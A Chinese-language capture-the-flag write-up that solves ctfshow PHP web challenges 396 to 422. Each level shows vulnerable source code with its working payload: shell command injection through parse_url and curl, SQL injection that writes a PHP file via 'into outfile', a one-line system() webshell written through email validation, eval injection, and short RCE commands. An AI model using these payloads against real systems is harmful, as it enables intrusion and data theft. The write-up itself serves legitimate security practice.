# 前言

做做靶机,刷刷 ctfshow,暑假颓废的一天,本篇记录 ctfshow 其他的 php 篇解题过程

# Web396

<?php
error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    shell_exec('echo '.$url['host'].'> '.$url['path']);
}else{
    highlight_file(__FILE__);
}

题目中说到特定函数绕过,看到源码那必然就是 parse_url 的绕过咯,下面看一下官方文档中 parse_url 函数的示例

<?php
$url = '//www.example.com/path?googleguy=googley';
// 在 5.4.7 之前这会输出路径 "//www.example.com/path"
var_dump(parse_url($url));
?>

image-20230716091046387

那么就很简单咯,这里使用反引号执行命令,将结果放到 path 指向的文件中就可以了

payload1:

?url=http://`ls`/var/www/html/1.txt

直接去访问 1.txt

image-20230716091401261

payload2:

/?url=http://`cat%20fl0g.php`/var/www/html/1.txt

image-20230716091540195

# Web397

<?php
error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}else{
    highlight_file(__FILE__);
}

比起上一题加了一点限制,路径写死在 /tmp 下面,这里简单的命令注入

?url=http://1/1;echo%20`ls`>/var/www/html/1.txt

image-20230716093947563

然后直接读取 flag

?url=http://1/1;echo%20`cat%20f*`>/var/www/html/1.txt

image-20230716094031177

# Web398

<?php
error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(!preg_match('/;/', $url['host'])){
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }
}else{
    highlight_file(__FILE__);
}

比起上一题又加了一些限制,但是限制是在 host 指向的部分,所以这里直接用上一题的 payload 即可

?url=http://1/;echo%20`cat%20f*`>/var/www/html/1.txt

image-20230716094835719

# Web399

<?php
error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(!preg_match('/;|>/', $url['host'])){
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }
}else{
    highlight_file(__FILE__);
}

还是对 host 指向的部分做限制,这里还是用上一题的 payload

# Web402

<?php
#error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    var_dump($url);
    if(preg_match('/http|https/i', $url['scheme'])){
        die('error');
    }
    if(!preg_match('/;|>|\||base/i', $url['host'])){
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }
}else{
    highlight_file(__FILE__);
}

这里的 $url ['scheme'] 指向的是传入 url 的协议,这里限制了是 http,并且对 host 指向做了限制,接着用上面的 payload 即可

# Web403

<?php
error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
        shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
    }
}else{
    highlight_file(__FILE__);
}

这里对 host 部分做了匹配,这里只需要构造一个 ip 即可

/?url=http://127.0.0.1/;echo `ls` >1.txt

image-20230717080707237

接着去读取 flag 即可

/?url=http://127.0.0.1/;echo `cat f*` >1.txt

image-20230717080754578

# Web404

这里有点搞,我一直以为环境没起来,原来是要访问 404.php

<?php
error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
        if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
            shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
        }
    }
}else{
    highlight_file(__FILE__);
}

这里 host 匹配正则改了,没有了前面的 ^, 表示前面部分就是可控的了

?url=php://;echo `ls` >1.txt;1.1.1.11/1

image-20230717084207416

用上面这个命令注入的 payload 来注入

image-20230717084257114

接着打开这个 fl0g.php 文件即可

?url=php://;echo `cat f*` >1.txt;1.1.1.11/1

image-20230717084414005

# Web405

<?php
error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
        if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
            if(preg_match('/\~|\.|php/', $url['scheme'])){
                shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
            }   
        }
    }
}else{
    highlight_file(__FILE__);
    echo 'parse_url 好强大';
}

上一题的 payload 直接做就行

# Web406

<?php
require 'config.php';
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
    $sql = "select * from links where url ='{$url}'";
    $result = $conn->query($sql);
}else{
    echo '不通过';
}

这次不是 parse_url 函数了,这里使用的是 filter_var 这个过滤器,FILTER_VALIDATE_URL 这个过滤器的 ID 会将值当做 URl 来验证,很显然这题考察的就是有关 filter_var 的注入,在 url 中字符 “;”, “/”, “?”, “:”, “@”, “=” 和 “&” 被定义为保留字符

image-20230717110929242

结合提示 flag 在 db 中,这里因为没有回显,将查询结果写入文件中

<?php 
require 'config.php';
$sql ='select flag from flag into outfile "/var/www/html/1.txt"';
$result = $conn->query($sql);
var_dump($result); 
?>
转为16进制
?url=0://www.baidu.com;'union/**/select/**/1,0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c203d2773656c65637420666c61672066726f6d20666c616720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f312e74787422273b24726573756c74203d2024636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b203f3e/**/into/**/outfile/**/"/var/www/html/1.php"%23

先访问 1.php,再访问 1.txt 即可

image-20230717111547865

# Web407

<?php
highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];
if(filter_var ($ip,FILTER_VALIDATE_IP)){
    call_user_func($ip);
}
class cafe{
    public static function add(){
        echo file_get_contents('flag.php');
    }
}

FILTER_VALIDATE_IP 这个过滤器是验证 IP 地址的,验证成功调用了 call_user_func 来调用一个回调函数,这里只要调用 cafe 类的 add 函数即可,这里直接使用 IPV6 格式来绕过即可

?ip=cafe::add

image-20230717112553265

# Web408

<?php
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
    file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}

这个题是邮箱的一个验证,这里改一下原代码,去验证一下,传入的内容

<?php
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
    var_dump(explode('@', $email)[1], explode('@', $email)[0]);
}
else{
    echo "Invalid email";
}

image-20230717113002984

简单的测试后发现 "","[]","()"和"<>" 是不能放在邮箱 @前缀中的,但是想要写马尖括号必须要使用,这里可以使用引号来绕过

image-20230717113710945

这里看不到是因为被识别为标签了,这里去写马 rce 即可

?email="<?=system($_GET[1])?>"@1.php

image-20230717114115775

# Web409

<?php
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
    $email=preg_replace('/.flag/', '', $email);
    eval($email);
}

这题有个替换 flag 和他前面的字符为空,这里还是上一题的思路,因为这里是直接通过 eval 代码执行,如果用两个引号包裹会被识别为一个字符串不被执行,所以这里利用替换将前一个引号替换为空将后一个引号注释掉,可以看下面这个例子

image-20230717115317227

这些知道后 payload 就很简单

?email="flagsystem($_GET[1]);//"@a.b&1=cat /flag

image-20230717115914428

# Web410

<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
    if($b=='true' || intval($b)>0){
        die('FLAG NOT HERE');
    }else{
        echo $flag;
    }
}

FILTER_VALIDATE_BOOLEAN 这个过滤器验证为布尔类型,PHP FILTER_VALIDATE_BOOLEAN 过滤器 (w3school.com.cn) 这里可以参考一下

  • 如果是 "1", "true", "on" 以及 "yes",则返回 true。
  • 如果是 "0", "false", "off", "no" 以及 "",则返回 false。
  • 否则返回 NULL。

这里第二个 if 判断不能为 true 也不能为 1,这里使用 yes 或者 on 就行

image-20230717120621137

# Web411

<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
    if($b=='true' || intval($b)>0 ||$b=='on' || $b=='ON'){
        die('FLAG NOT HERE');
    }else{
        echo $flag;
    }
}

和上一题一样,多了一个 no 的限制,这里使用 yes 即可

image-20230717121844974

# Web412

<?php
highlight_file(__FILE__);
$ctfshow=$_POST['ctfshow'];
if(isset($ctfshow)){
    file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND);
    include('flag.php');
}

这题考察 file_put_contents 函数,这个中的 FILE_APPEND 防止删除原有文件内容,这里拼接进去的内容会用 // 注释掉,这里使用 %0a 绕过即可

ctfshow=%0ahighlight_file(__FILE__);

image-20230717124234765

# Web413

<?php
highlight_file(__FILE__);
$ctfshow=$_POST['ctfshow'];
if(isset($ctfshow)){
        file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND);
    include('flag.php');
}

这里使用 /**/ 的方法注释防止换行的绕过,只需要将前后都闭合即可

ctfshow=*/highlight_file(__FILE__);/*

image-20230717124639168

# Web414

<?php
highlight_file(__FILE__);
include('flag.php');
$ctfshow=$_GET['ctfshow'];
if($ctfshow==true){
    if(sqrt($ctfshow)>=sqrt(intval($flag))){
        echo 'FLAG_NOT_HERE';
    }else{
        echo $flag;
    }
}

这里等于 true 没什么用,任意字符串都能满足,这里传入一个负数即可

image-20230717141633657

# Web415

<?php
error_reporting(0);
highlight_file(__FILE__);
$k = $_GET[k];
function getflag(){
    echo file_get_contents('flag.php');
}
if($k=='getflag'){
    die('FLAG_NOT_HERE');
}else{
    call_user_func($k);
}

这里先判断如果 k 等于 getflag 就异常退出,这里最后又要调用 getflag,这里因为使用的是两个等号判断,所以这里直接用大写绕过即可

image-20230717160437167

# Web416

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctf{
    public function getflag(){
        return 'fake flag';
    }
    final public function flag(){
        echo file_get_contents('flag.php');
    }
}
class show extends ctf{
    public function __construct($f){
        call_user_func($f);
    }
}
echo new show($_GET[f]);

这里 show 类继承与 ctf 类,这里直接去调用 ctf 的 flag 方法即可

image-20230717182612438

# Web417

这里有一个附件先下载下来

<?php /*ctfshow*/define('aPeKTP0126',__FILE__);$cIYMfW=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$CBhSfw=$cIYMfW[3].$cIYMfW[6].$cIYMfW[33].$cIYMfW[30];$xWoIVy=$cIYMfW[33].$cIYMfW[10].$cIYMfW[24].$cIYMfW[10].$cIYMfW[24];$RkEEuV=$xWoIVy[0].$cIYMfW[18].$cIYMfW[3].$xWoIVy[0].$xWoIVy[1].$cIYMfW[24];$YFfKrW=$cIYMfW[7].$cIYMfW[13];$CBhSfw.=$cIYMfW[22].$cIYMfW[36].$cIYMfW[29].$cIYMfW[26].$cIYMfW[30].$cIYMfW[32].$cIYMfW[35].$cIYMfW[26].$cIYMfW[30];eval($CBhSfw("JGpYanRLZD0ianBRRHVrYkd3eW5abWlWek1mc0pDb0hGTnJxSUJTaGRQQXhMT0tFZ1d0dlVUZVJYYVlsY1RjUkNadW5WbWpHVUtIZUlmT2RZWHNEa1NwTVFFaXR4TnJBbHphcXdQQmJKZ0Z2V295aExOQzltb0Ryd1VWZUtvUDVoYVh4YWl1dnRGaGZtZmdRMllqQXRKVmVsZWtybWZnUTJhZ2R1eWV2M1VHRWxOV2VqblZ2aHkyOXVVaXdIWWdVa2ZpSjNSaUoyZkhKanZISjJ2WEoyZmdKaFNKZmhTSXloU0lSbVlneTVmVHdoZnVSaFNJcmhTSXdoU0lKaFNJcWhTSXVoZnVxMllnVUNZZ0xqWWdVWFlneTBZZ3kzemlKMXZISjJTaUoyelhKMmZqSjNmakozU2pKMnZUUmhmdVFoU1R5SVNqSjJSaVFjemp2U0ozVVpnR3c5WVZrSngyVW1pMWRJV2k0dXlldjNVR0VsUElVeGxIdnRlRHhLTHFCbmZJU3hsSHZ0ZUR4S0xxQm5mSUV4emp2VG9rdkpGUGY5WVZrSngyVW1pMWRJZjEwWllWa0p4MlVtaTFkQWZrMFpZVmtKeDJVbWkxZGpTazBaWVZrSngyVW1pMWRBZmswWllWa0p4MlVtaTFkalNrMDdZREVYSkRrNHZUMHV5MnRKZURoVFBJRXhsSHZ0ZUR4S0xxQm5mZ3R4bEh2dGVEeEtMcUJuZjEwWllWU3Nla3Y1eTFkbVdpNHV5MnRKZURoVFBJa3hsSHZ0ZUR4S0xxQm5mVHZ4emp2Q2VHRUJlM1E5WVZrSngyVW1pMWQzV2k0dXlldjNVR0VsUElxSVdnZHVnZVMybnU1NGxUMHV5ZXYzVUdFbFBJUWpXaTR1eWV2M1VHRWxQSWYyV2k0dXlldjNVR0VsUElRNVdpNHV5ZXYzVUdFbFBJUTJXaTR1eWV2M1VHRWxQSWZtV2k0dXlldjNVR0VsUElmaldpNHV5ZXYzVUdFbFBJZjFXaTR1eWV2M1VHRWxQSVEyV2k0dXlldjNVR0VsUElmbVdnQmh4S2tkYVh2U0ozVVpnR3dzUXVjVm5EZWd2V0VCVURzbW9QZVBSdTFIZjA1QVVxZXVTa1VkVWtjV2lxWU15SlVQdmVKbW5xWWVvMDVOUEswQWllY1F2dVV1ZmhVY3l1dG9naGVQTERZdGVXdlJVUDVQUjFVRFVxQlRvMWNzeUsxMG9WU2RKaHR0blB3MXlJa21SaFNwU0pjUG5oWVJVSng0TGtTREpLNXZma2NRZUpKQXhlZUJmZXZUZWhVaVVreG9TaHhlRnFldW51WVZQaFVzb2hmbWlLaHVmVGhzVUp2ZHhWUkFSdWhVZnVVM2d1Um1vSjhqZVRZVWUzeGJpR3M0YTBjNVNWQkpldTRqeUtkMVNxQkNKS2N0dmhZZVVleFNuMGNRUnVTZWlxeTBKS2hHbzF4V1NKaGduZXNJZ3FTaXZrVVpSR3ZQZjBoQWdQaHBMMGNRUnVTZWlxeTBKS2hHbzF4V1NKaGduZXNJZ3FTaXZrVVpSR3ZQZjBoSWl1ZXplMlNEZmV0VG9QQklpdXRYUjFlUXZUdmlvUHhwZTFMMWllU0JQVFNmdnFrSWl1ZXplMlNEZmV0VG9QQm1pMVNwU2pRY2FnZC9OVG0vTFZ0bVFWdmhVS2haVWl3R0ZQdnRvMlUzZkNxalNITGR5ZUVoaTF2UmZDcWpTSHU3WXExc0ZreGhSVDExTEtBdVVQU2JVVkpzUUhKMnZncWhTMHFoU1RRaGZ1eWhTdVJoU1RxMVlnZUNZZ0wyWWdMMGZYSjJ6Z1E0WWdZcVlnTG1ZZ0w0WWdMMVlnTEFZZ0w1WWdZRVNISjJSakozZkhKMlJISjJTWEoyU0l1aFNKeWhTVEpoU1R3aFNUZmhTSWZoU0lMaFN1eTBZZ1lYWWd5MmZJTGhTdXFIYWdkdVUyMUhna3Z1Tml2U29EdFdVSlluZjEwWllxMXNGa3hoUmhkMldpNHVnUHQ0ZTJlWFBJZklXaTR1Z1B0NGUyZVhQSWZtV2dkdUZLZXFnVmNvTml2U29EdFdVSlluZklTeGxIdlNvRHRXVUpZbmZnRXhsSHZTb0R0V1VKWW5mVHZ4bEh2U29EdFdVSlluZmdFeGxIdlNvRHRXVUpZbmZUdnh6anZkaWVjREowdTlZRGNodnFBTVBoZG1XaTR1Z1B0NGUyZVhQSXE0V2k0dWdQdDRlMmVYUElTeGxIdjZVSnZmb2hjbmZrMFpZRGNodnFBTVBoZEFXaTR1Z1B0NGUyZVhQSVEwV2dkdXZHZUF5V2VvTml2U29EdFdVSlluUzEwWllxMXNGa3hoUmhkQWYxMDdZVnhCeXVBSlVYNDlZcTFzRmt4aFJoZGpmaDBaWXExc0ZreGhSaGRJU2gwWllxMXNGa3hoUmhkanplMFpZcTFzRmt4aFJoZGpTaDBaWXExc0ZreGhSaGRJZmswWllxMXNGa3hoUmhkSWZoMFpZcTFzRmt4aFJoZElTZTBaWXExc0ZreGhSaGRqU2gwWllxMXNGa3hoUmhkSWZrMDdVV1V0blh3dVUyMUhna3Z1YVhZYXZnZTN5aHhtaVBTSmZWaHZvMFUzZWVlNG9LZVBnSzVUbzNFMlB1ZWlma2hwVWtjdWYwNXNQS0FveWVlVmVoZUhvMWNJeWVVYUZWZXB4cXZIZTFVUnlKeG1Ta3hRZXU5dW8xVXl5Z0VzZ2hTUEp1dnRlSWtsVWV4b2Vra3lnaGt1dld2Z1BURXNpaGNQZWhjSHZ1eUlKSzVYZmV2V29rdEp2R0VNUHV0c1NLU2VpR1lUbmdoa0poSjFmaFJqaWh4SG5WdFF5UDFWeDFlTW5rVUh2UHZxZUNTVlJ1MVFMcUJvbmhZUnkxVW1MZWtlTGt2dXYydnNKMUo1b2VZcG5xMXVvMXMwVXFlVmdrdkJndVNnb0lrWEplZW1lVnZEVWtTSFBrWWtQZVVvZWVVa3hxOVVmMVlZZ2dZa2ZoaGVucVlpZTN2YWVLZDVGa3hCTHFZSGVoY015VEUwaUt2SlBLdFRlSjVYeVBCaXZrY0JMa3ZTdmhVQWVXY1huZVJBZ3V2b25XcjBVcVVQSlZlUUpLMXRuZ0UzVVAxVm5lVWtndTVnZUtSMEpJU1ZlZVJtVTNoVWZLQURKUEI0Z2VZWnZoZVduV3Z6VXFlVm9WU1BKVEV0b0llMnlUa2F4VnZrSkt0UG5rWUFQaEoxSnExRHZoeFNlMGNESjFlNFIyWURTZ1NXdjBVUVBnWWRpUFlaZWdZVWV1Y3NlaHhtdmVVQlVEa2Vua2NaeVBCaW5ra1dMcWV2RmhjUmVreGtmS2twSkdrSmYwVXR5UEJWeGtTeVVWNW9lSWVTZTF0YXllVVFKR2tKbmdoMnloZWRKcTFrUHVTdWZoY2xKUGQ1b2VTRGZEeGhuSlVCZXVlemllU2VGQ1lIaVZ3bUpleDRpa2g2UlRlaWZLOGpKMjFVU2VZa3hxY2lvM3cxZTJjUHZlU3FpV3hKZjBVWGdKdG1TaHhNb2tFVGVKc0lQSzVkUjA5V1B1OVNmSllTVWVlcFNlY3B4cWNKaWtjRFBLQlZlS2VwZmVjSmYwVUNlcXRvbnExcGVXdGlvMm1BVXFVRUZlWWRuVkFIbkttalVlZWR4aFVQUksxV3ZWdmd5aHRpUGVjeVUzeFd2Z3YzSklrdWYxeUFuVjlvZXE1TUpQQUVGcTFxVWtTSGUyQW1KS0FtUmh4RGVUdlN2VkF2Z2dyNWZrU3FnVGV0aURFTmUxSjVGa2tlRnExb2VxYzJQUDFWRmt1bWl1aGdlS3ZieTJBZXgyZWR2R2V1ZlBtMWdQNVRmMWVCZmdFZXZlYzFlQ1NpaWVjcGdLOVVmUHRWZXV4U0ZxOXlpdTVTZTA1aWVna29mMUpqZ2h2aGVWdmd5aHhwU0poTXhWQXVuSlVJaTBTVGwxRWN5M2VhdjJ2MFBQQjRlZWNDVTJCaG5lVWtlcXhteUpCQ0pHU2dlR0VRZWdFcG4wY2tTV3hIZTNFWXkxUzNvMVlaZUd0VVBrVXRpMmNZTHFBQ0pHU2dlR0VRZWdFcG4wY2tTV3hIZTNFWXkxUzNvMVlaZUd0VVBrVXRncVNpdjJ2eXZLdHVlSzltZ3FTaUwxU1BMcXRlZlZCYml1SjF4MllXTHFoVEozeDNncVNpdjJ2eXZLdHVlSzltaTFTcExxOTNOZzBIYWl1N05JND0iO2V2YWwoJz8+Jy4kQ0JoU2Z3KCR4V29JVnkoJFJrRUV1VigkalhqdEtkLCRZRmZLclcqMiksJFJrRUV1VigkalhqdEtkLCRZRmZLclcsJFlGZktyVyksJFJrRUV1VigkalhqdEtkLDAsJFlGZktyVykpKSk7"));?>

出题人挺骚的,一波 base 后

<?php
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
	echo $flag;
}else{
	echo 'FLAG_NOT_HERE';
}
?>

那就很简单了,传入 ctf=show 即可

image-20230717183457526

# Web418

<?php
$key= 0;
$clear='clear.php';
highlight_file(__FILE__);
// 获取参数
$ctfshow=$_GET['ctfshow'];
// 包含清理脚本
include($clear);
extract($_POST);
if($key===0x36d){
    // 帮黑阔写好后门
    eval('<?php '.$ctfshow.'?>');
}else{
    $die?die('FLAG_NOT_HERE'):clear($clear);
}
function clear($log){
    shell_exec('rm -rf '.$log);
}

虽然题目上有后面,但是这里判断使用的是强等于,无法绕过,这里对于 post 传人的数据没有限制,这里完全可以进行变量覆盖,最后面还藏了一段 clear 这个函数,可以命令注入

k=1&die=0&clear=;ls  >1.txt

image-20230717184415931

k=1&die=0&clear=;cat flag.php  >1.txt

image-20230717184446924

# Web419

<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 17){
    eval($code);
}

长度限制,17 位利用空间很大

code=`cat f* >1.txt`;

image-20230717185119636

# Web420

<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 8){
    system($code);
}

这里可以直接 rce 了,不过长度现在在 8 位

image-20230717185807749

这里找到 flag 在上一级目录中所以这里可以直接打开即可

nl ../*

image-20230717190115064

# Web421

<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 6){
    system($code);
}

ok 这次是 6 位

image-20230717190324959

flag 就在当前目录

image-20230717190350528

# Web422

<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 5){
    system($code);
}

长度是 5 位

image-20230717190531729